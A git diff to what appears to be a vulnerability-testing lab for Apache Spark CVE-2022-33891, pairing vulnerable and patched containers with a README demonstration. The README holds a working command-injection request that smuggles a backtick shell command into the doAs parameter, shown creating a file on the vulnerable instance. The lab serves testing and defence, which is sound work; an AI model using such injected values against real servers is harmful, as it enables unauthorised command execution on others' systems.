diff --git a/apache/spark/CVE-2022-33891/README.md b/apache/spark/CVE-2022-33891/README.md index b75f1552..d7030c0a 100644 --- a/apache/spark/CVE-2022-33891/README.md +++ b/apache/spark/CVE-2022-33891/README.md @@ -1,11 +1,33 @@ -Apache Spark CVE-2022-33891 +# Apache Spark CVE-2022-33891 -This directory contains the deployment config for Apache Spark. Versions earlier than 3.2.2 or 3.3.0 are vulnerable to this vulnerability. +This directory contains a docker compose file for Apache Spark which runs both safe and vulnerable versions. Versions earlier than 3.2.2 or 3.3.0 are vulnerable to this vulnerability. -The deployed service listens on port `8080`. +## Docker Compose +``` +docker compose up +``` +The vulnerable Spark instance will be at http://localhost:8081/ and the non-vulnerable Spark instance will be at http://localhost:8082/ -## Vulnerable version -docker-compose -f vuln-docker-compose.yml up -d +### Vulnerable case +``` +curl http://localhost:8081/?doAs=`touch%20/tmp/tmpfile` +``` +Response: +``` +... +Error 403 User `touch /tmp/tmpfile` is not authorized to access this page. +... +``` +If you run `ls /tmp` from inside the container, `tmpfile` will be present. -## Fixed version -docker-compose -f fixed-docker-compose.yml up -d +### Safe case +``` +curl http://localhost:8082/?doAs=`touch%20/tmp/tmpfile` +``` +Response: +``` +... +Spark Master at spark://2997522835aa:7077 +... +``` +The `tmpfile` will not be in `/tmp`. diff --git a/apache/spark/CVE-2022-33891/vuln-docker-compose.yml b/apache/spark/CVE-2022-33891/docker-compose.yml similarity index 53% rename from apache/spark/CVE-2022-33891/vuln-docker-compose.yml rename to apache/spark/CVE-2022-33891/docker-compose.yml index b62c0918..c562a783 100644 --- a/apache/spark/CVE-2022-33891/vuln-docker-compose.yml +++ b/apache/spark/CVE-2022-33891/docker-compose.yml @@ -1,8 +1,18 @@ version: '2' services: - spark: - image: docker.io/bitnami/spark:3.1.1 + spark-safe: + image: docker.io/bitnamilegacy/spark:3.2.4 + environment: + - SPARK_MODE=master + - SPARK_RPC_AUTHENTICATION_ENABLED=no + - SPARK_RPC_ENCRYPTION_ENABLED=no + - SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no + - SPARK_SSL_ENABLED=no + ports: + - '8082:8080' + spark-vuln: + image: docker.io/bitnamilegacy/spark:3.1.1 entrypoint: ["/bin/bash", "-c", "echo \"spark.acls.enable true\" >> /opt/bitnami/spark/conf/spark-defaults.conf && /opt/bitnami/scripts/spark/entrypoint.sh && /opt/bitnami/scripts/spark/run.sh"] environment: - SPARK_MODE=master @@ -11,4 +21,4 @@ services: - SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no - SPARK_SSL_ENABLED=no ports: - - '8080:8080' + - '8081:8080' diff --git a/apache/spark/CVE-2022-33891/fixed-docker-compose.yml b/apache/spark/CVE-2022-33891/fixed-docker-compose.yml deleted file mode 100644 index 80fc00b1..00000000 --- a/apache/spark/CVE-2022-33891/fixed-docker-compose.yml +++ /dev/null @@ -1,13 +0,0 @@ -version: '2' - -services: - spark: - image: docker.io/bitnami/spark:3.2.4 - environment: - - SPARK_MODE=master - - SPARK_RPC_AUTHENTICATION_ENABLED=no - - SPARK_RPC_ENCRYPTION_ENABLED=no - - SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no - - SPARK_SSL_ENABLED=no - ports: - - '8080:8080'